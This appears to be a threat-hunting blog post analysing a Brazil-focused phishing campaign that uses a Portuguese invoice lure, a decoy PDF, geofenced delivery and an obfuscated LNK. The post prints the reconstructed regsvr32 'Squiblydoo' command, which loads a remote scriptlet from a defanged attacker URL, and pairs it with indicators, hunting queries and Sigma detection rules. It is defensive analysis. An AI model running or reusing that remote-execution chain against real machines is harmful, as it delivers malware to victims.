PDF + Geofencing + Malicious LNK: Technical Analysis of a Brazil-Focused Campaig

PDF + Geofencing + Malicious LNK: Technical Analysis of a Brazil-Focused Campaign

During a recent investigation, we analyzed an attack chain that combined three particularly interesting elements from a threat hunting perspective: a decoy PDF, geofencing, and a malicious LNK shortcut.

The operational outcome was the expected one: the threat was blocked and the customer remained protected. Still, the case is worth a technical breakdown because it shows how a seemingly simple campaign can include selective payload delivery, abuse of legitimate Windows binaries, and basic techniques to complicate analysis.

Observed Attack Chain

The reconstructed attack flow was as follows:

Email in Portuguese with a financial theme
    ↓
Decoy PDF with a “View Document” button
    ↓
Redirection to external infrastructure
    ↓
Next-stage component delivered only from Brazil
    ↓
Execution of an LNK shortcut with obfuscated commands
    ↓
Abuse of legitimate Windows binaries
    ↓
Remote loading through regsvr32.exe and scrobj.dll

The email used a Brazilian Portuguese financial lure, impersonating a message related to a successfully processed invoice or transaction document. 

Message - Nota 142976 emitida com sucesso

O documento da transação foi processado e está acessível para você.

Visualize o anexo

Estamos prontos para ajudar,
Setor Financeiro.

Ultra Distribuidora
CNPJ: 11.466.862/2801-40 - Inscr. Estadual: 000144921720

The goal was to convince the user to open a supposed financial document. After the interaction, the user was presented with a PDF that appeared to be protected or partially hidden, including a “Visualizar Documento” button.

This type of lure moves the user interaction away from the original email and into a second stage hosted externally, reducing visibility for some email security controls.

Geofencing: Location-Based Payload Delivery

One of the most relevant aspects of this case was the use of geofencing.

When the link was analyzed from outside Brazil, the active content was not delivered. Instead, the browsing session was redirected to a Brazilian news website. This behavior can confuse analysts and lead to false negatives during investigation.

From the attacker’s perspective, this technique provides several advantages:

  • It reduces payload exposure to external analysts.
  • It makes the incident harder to reproduce from other countries.
  • It can evade sandboxes hosted outside the target region.
  • It allows different content to be served depending on country, IP address, language, or environment.
  • It can make the link appear benign when analyzed from an unexpected location.

In this case, the regional targeting was consistent:

  • The email was written in Brazilian Portuguese.
  • The lure used a financial theme.
  • The message referenced CNPJ and Inscrição Estadual identifiers.
  • The impersonated entity appeared to be Brazilian.
  • The decoy PDF referenced a Brazilian recipient domain.
  • The active payload was delivered only from Brazil.

The strongest hypothesis is that the attacker-controlled infrastructure checked the origin of the connection before delivering the next component. This validation could be based on IP geolocation, IP range reputation, browser language, time zone, HTTP headers, or a combination of these factors.

Observed Infrastructure

During the analysis, the initial resource was observed hosted on Azure Blob Storage: 

hxxps://849460[.]blob[.]core[.]windows[.]net/7452/index[.]html

A second URL was also identified as part of the remote execution chain: 

hxxps://wxfmm[.]easynextmatrixbb[.]com/jwgevxfjjtho/828597302930264/

The first infrastructure component appears to act as an intermediary or initial delivery resource. The second one is associated with remote execution through regsvr32.exe.

The use of legitimate cloud services during early stages of the chain is not accidental. This pattern allows attackers to benefit from reputation, availability, and implicit trust associated with widely used platforms. From a defensive perspective, this means the full context must be analyzed, not only the generic reputation of the root domain.

Analysis of the Malicious LNK

The most technical part of the chain was found in the malicious shortcut file. The LNK executed an obfuscated command line using loops, variables, and escape characters. The purpose of the obfuscation was to hide an execution sequence based on legitimate Windows binaries.

The reconstructed command was similar to: 

forfiles /p C:\Windows\System32 /m s?robj.dll /c "cmd /c C:\Windows\System32\regsvr32.exe -s -n -u -i:hxxps://wxfmm[.]easynextmatrixbb[.]com/jwgevxfjjtho/828597302930264/ @path"

The pattern: 

s?robj.dll

resolves to: 

scrobj.dll

Therefore, the effective execution would be equivalent to: 

regsvr32.exe -s -n -u -i:hxxps://wxfmm[.]easynextmatrixbb[.]com/jwgevxfjjtho/828597302930264/ C:\Windows\System32\scrobj.dll

This behavior aligns with the technique commonly known as Squiblydoo, where regsvr32.exe is abused to load a remote scriptlet through scrobj.dll.

Abused Components

The chain relied on legitimate operating system components: 

cmd.exe
forfiles.exe
regsvr32.exe
scrobj.dll
ping.exe

Individually, these components may appear in legitimate activity. The detection value comes from correlation.

cmd.exe

cmd.exe was used as the command interpreter to execute the obfuscated chain. This is common in malicious shortcuts because it allows complex commands to be built directly from the LNK target field.

forfiles.exe

forfiles.exe was used to search for scrobj.dll inside C:\Windows\System32 using the pattern s?robj.dll.

This behavior is unusual. forfiles.exe is a legitimate utility, but it is not common to see it used as a precursor to regsvr32.exe execution with remote content.

regsvr32.exe

regsvr32.exe was the key component. Execution with the parameters -s -n -u -i:<URL> allows remote content to be loaded and processed through scrobj.dll.

Relevant parameters:

Parameter Description
-s Silent mode.
-n Does not call DllRegisterServer.
-u Unregister mode.
-i:<URL> Passes a URL as an installation parameter.

The use of regsvr32.exe with -i:http or -i:https is a high-fidelity signal in corporate environments.

scrobj.dll

scrobj.dll is a legitimate Windows library related to Windows Script Components. In this chain, it is used to process remote content compatible with COM scriptlets.

ping.exe

The analysis also showed the use of ping against 127.0.0.1 with output redirected to nul: 

ping -n 4 127.0.0.1 >nul
ping -n 24 127.0.0.1 >nul
ping -n 5 127.0.0.1 >nul

This pattern is often used as an improvised timer. It is not malicious by itself, but when observed inside a suspicious chain it may indicate artificial pauses between stages, action synchronization, or basic evasion of some automated analysis environments.

Process Chain of Interest

From a threat hunting perspective, one of the most important relationships is: 

explorer.exe / browser / email client
    → cmd.exe
        → forfiles.exe
            → regsvr32.exe
                → scrobj.dll

Auxiliary activity may also be observed: 

cmd.exe
    → ping.exe 127.0.0.1

Detection should not focus only on the existence of regsvr32.exe, but on its context:

  • What launched it?
  • What command line was used?
  • Does the command line include a URL?
  • Did it appear after opening an email, PDF, or link?
  • Was it preceded by cmd.exe or forfiles.exe?
  • Did it load scrobj.dll?
  • Were there associated network connections?

Indicators of Compromise

URLs

hxxps://849460[.]blob[.]core[.]windows[.]net/7452/index[.]html
hxxps://wxfmm[.]easynextmatrixbb[.]com/jwgevxfjjtho/828597302930264/

Domains

849460[.]blob[.]core[.]windows[.]net
wxfmm[.]easynextmatrixbb[.]com

Observed Hashes

MD5:    A1F1D3A3F9590A563B1446BC2E67DFF1
SHA1:   E51DCD2DD19344A6BD9C7CC0FDE0F2E9F8826AB5
SHA256: CE39F7F500CE8415AB48AE9E59F25D5C027AECB536D108F0D9EE7FBC202A42DF

Processes

cmd.exe
forfiles.exe
regsvr32.exe
ping.exe
msedge.exe

Abused DLL

C:\Windows\System32\scrobj.dll

MITRE ATT&CK Mapping

Tactic Technique ID Evidence
Initial Access Phishing T1566 Email with a financial theme.
Initial Access Spearphishing Link T1566.002 Document with clickable button.
Execution User Execution: Malicious File T1204.002 User interaction with PDF/LNK.
Execution Command and Scripting Interpreter: Windows Command Shell T1059.003 Use of cmd.exe.
Defense Evasion Obfuscated Files or Information T1027 Obfuscated command inside the LNK.
Defense Evasion System Binary Proxy Execution: Regsvr32 T1218.010 Abuse of regsvr32.exe.
Command and Control Web Protocols T1071.001 Use of HTTPS.
Command and Control / Delivery Ingress Tool Transfer T1105 Remote loading of the next stage.
Defense Evasion Virtualization/Sandbox Evasion T1497 Location-based delivery.
Defense Evasion Virtualization/Sandbox Evasion: System Checks T1497.001 Possible checks for country, IP address, language, or environment.

Threat Hunting Queries

Microsoft Defender Advanced Hunting: regsvr32 with remote loading

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "regsvr32.exe"
| where ProcessCommandLine has_any ("-i:http", "-i:https", "/i:http", "/i:https")
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          FileName, ProcessCommandLine, ReportId
| order by Timestamp desc

forfiles looking for scrobj.dll

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "forfiles.exe"
| where ProcessCommandLine has_any ("s?robj.dll", "scrobj.dll", "regsvr32")
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          FileName, ProcessCommandLine
| order by Timestamp desc

cmd → forfiles → regsvr32 chain

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "regsvr32.exe"
| where InitiatingProcessFileName =~ "forfiles.exe"
   or InitiatingProcessCommandLine has "forfiles"
   or ProcessCommandLine has "scrobj.dll"
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          FileName, ProcessCommandLine
| order by Timestamp desc

Use of ping as a timer

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "ping.exe"
| where ProcessCommandLine has "127.0.0.1"
| where ProcessCommandLine has_any (">nul", "> nul")
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          ProcessCommandLine
| order by Timestamp desc

Suspicious processes launched from browser, email client, or Explorer

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("cmd.exe", "regsvr32.exe", "forfiles.exe", "powershell.exe", "wscript.exe", "cscript.exe")
| where InitiatingProcessFileName in~ ("explorer.exe", "msedge.exe", "chrome.exe", "firefox.exe", "outlook.exe")
| where ProcessCommandLine has_any ("regsvr32", "forfiles", "scrobj", "-i:http", "/i:http")
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          FileName, ProcessCommandLine
| order by Timestamp desc

Email Hunting

Search for emails with similar patterns:

"Nota" AND "emitida com sucesso"
"O documento da transação foi processado"
"Visualize o anexo"
"Setor Financeiro"
"Ultra Distribuidora"
"CNPJ"
"Inscr. Estadual"

Microsoft Defender: email events

EmailEvents
| where Timestamp > ago(30d)
| where Subject has_any ("Nota", "emitida com sucesso", "Message - Nota")
   or EmailDirection == "Inbound"
| project Timestamp, NetworkMessageId, SenderFromAddress, SenderMailFromAddress,
          RecipientEmailAddress, Subject, DeliveryAction, ThreatTypes
| order by Timestamp desc

URLs in emails

EmailUrlInfo
| where Timestamp > ago(30d)
| where Url has_any (
    "blob.core.windows.net",
    "easynextmatrixbb.com",
    "849460.blob.core.windows.net"
)
| project Timestamp, NetworkMessageId, Url, UrlDomain
| order by Timestamp desc

Suspicious attachments

EmailAttachmentInfo
| where Timestamp > ago(30d)
| where FileName endswith ".pdf"
   or FileName endswith ".lnk"
   or FileName endswith ".html"
| project Timestamp, NetworkMessageId, FileName, SHA256, FileSize
| order by Timestamp desc

Proxy, DNS, and Firewall Hunting

Direct domain search

SELECT
  timestamp,
  src_ip,
  user,
  url,
  domain,
  http_method,
  status_code,
  bytes_in,
  bytes_out,
  user_agent
FROM proxy_logs
WHERE
  domain IN (
    '849460.blob.core.windows.net',
    'wxfmm.easynextmatrixbb.com'
  )
  OR domain LIKE '%.easynextmatrixbb.com'
  OR url LIKE '%/7452/index.html%'
  OR url LIKE '%/jwgevxfjjtho/828597302930264/%'
ORDER BY timestamp DESC;

Country-based comparison to identify geofencing

SELECT
  country,
  domain,
  status_code,
  COUNT(*) AS requests,
  SUM(bytes_in) AS total_bytes_in,
  AVG(bytes_in) AS avg_bytes_in
FROM proxy_logs
WHERE
  domain IN (
    '849460.blob.core.windows.net',
    'wxfmm.easynextmatrixbb.com'
  )
  OR domain LIKE '%.easynextmatrixbb.com'
GROUP BY country, domain, status_code
ORDER BY requests DESC;

Clear differences in HTTP status codes, response sizes, or redirects between Brazil and other countries can strengthen the hypothesis of location-based delivery.

Sigma Rules

Regsvr32 loading remote content

title: Regsvr32 Remote Scriptlet Execution
id: 5b0d7a6c-regsvr32-remote-scriptlet
status: experimental
description: Detects abuse of regsvr32.exe to load remote scriptlets through /i:http or -i:http.
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\regsvr32.exe'
  selection_cli:
    CommandLine|contains:
      - '/i:http'
      - '/i:https'
      - '-i:http'
      - '-i:https'
  condition: selection_img and selection_cli
fields:
  - Image
  - CommandLine
  - ParentImage
  - ParentCommandLine
  - User
falsepositives:
  - Rare. Some administrative testing or legacy COM activity could generate similar behavior, but HTTP/HTTPS usage is highly suspicious.
level: high
tags:
  - attack.defense_evasion
  - attack.t1218.010

forfiles used to locate scrobj.dll

title: Forfiles Used To Locate Scrobj DLL
id: 6c1c1e38-forfiles-scrobj
status: experimental
description: Detects suspicious use of forfiles.exe to locate scrobj.dll and execute associated commands.
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\forfiles.exe'
  selection_cli:
    CommandLine|contains:
      - 's?robj.dll'
      - 'scrobj.dll'
      - 'regsvr32'
  condition: selection_img and selection_cli
fields:
  - Image
  - CommandLine
  - ParentImage
  - ParentCommandLine
  - User
falsepositives:
  - Very low in standard corporate environments.
level: high
tags:
  - attack.execution
  - attack.defense_evasion
  - attack.t1218.010

Ping against loopback used as delay

title: Ping Loopback Sleep Pattern
id: 3dfd88f7-ping-loopback-delay
status: experimental
description: Detects use of ping to 127.0.0.1 with output redirected to nul as a waiting mechanism.
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\ping.exe'
  selection_cli:
    CommandLine|contains|all:
      - '127.0.0.1'
      - '-n'
  selection_nul:
    CommandLine|contains:
      - '>nul'
      - '> nul'
  condition: selection_img and selection_cli and selection_nul
fields:
  - Image
  - CommandLine
  - ParentImage
  - ParentCommandLine
  - User
falsepositives:
  - Legacy administrative scripts.
level: medium
tags:
  - attack.defense_evasion

Defensive Recommendations

Recommended actions:

  1. Block the observed domains and indicators.
  2. Review historical access to the identified infrastructure.
  3. Search for emails using the same template or similar subject lines.
  4. Review process events related to regsvr32.exe, forfiles.exe, and scrobj.dll.
  5. Correlate telemetry from email, proxy, DNS, browser, and EDR sources.
  6. Validate whether any later-stage payloads or persistence mechanisms were executed.
  7. Review scheduled tasks, Run keys, Startup folder entries, and WMI persistence.
  8. Repeat the analysis from different controlled locations to confirm geofencing behavior.

From a preventive control perspective, it is recommended to alert on or block:

  • regsvr32.exe with -i:http or -i:https.
  • regsvr32.exe loading scrobj.dll from a URL.
  • forfiles.exe invoking regsvr32.exe.
  • Scripting-related processes launched from documents, browsers, or email clients.

Conclusion

This campaign shows how a relatively short chain can be effective when several elements are combined:

  • Localized financial lure.
  • User interaction through a PDF.
  • Use of legitimate cloud infrastructure.
  • Location-based delivery.
  • LNK shortcut with obfuscated commands.
  • Abuse of native Windows binaries.
  • Remote loading through regsvr32.exe and scrobj.dll.

The main lesson is that analyzing a link from a single location is not enough. In campaigns using geofencing, the absence of observable malicious behavior does not necessarily mean that the link is benign. It may simply mean that the analysis environment does not meet the conditions expected by the attacker.

From a threat hunting perspective, the value is in connecting the dots: email, PDF, redirection, country of origin, parent process, command line, remote connection, and post-execution behavior. Only through this correlation can the full chain be reconstructed and the risk of false negatives reduced.

Any Run Analysis: https://app.any.run/tasks/9d1167f3-9aff-419d-ab22-d0649ebec898

Comments

Post a Comment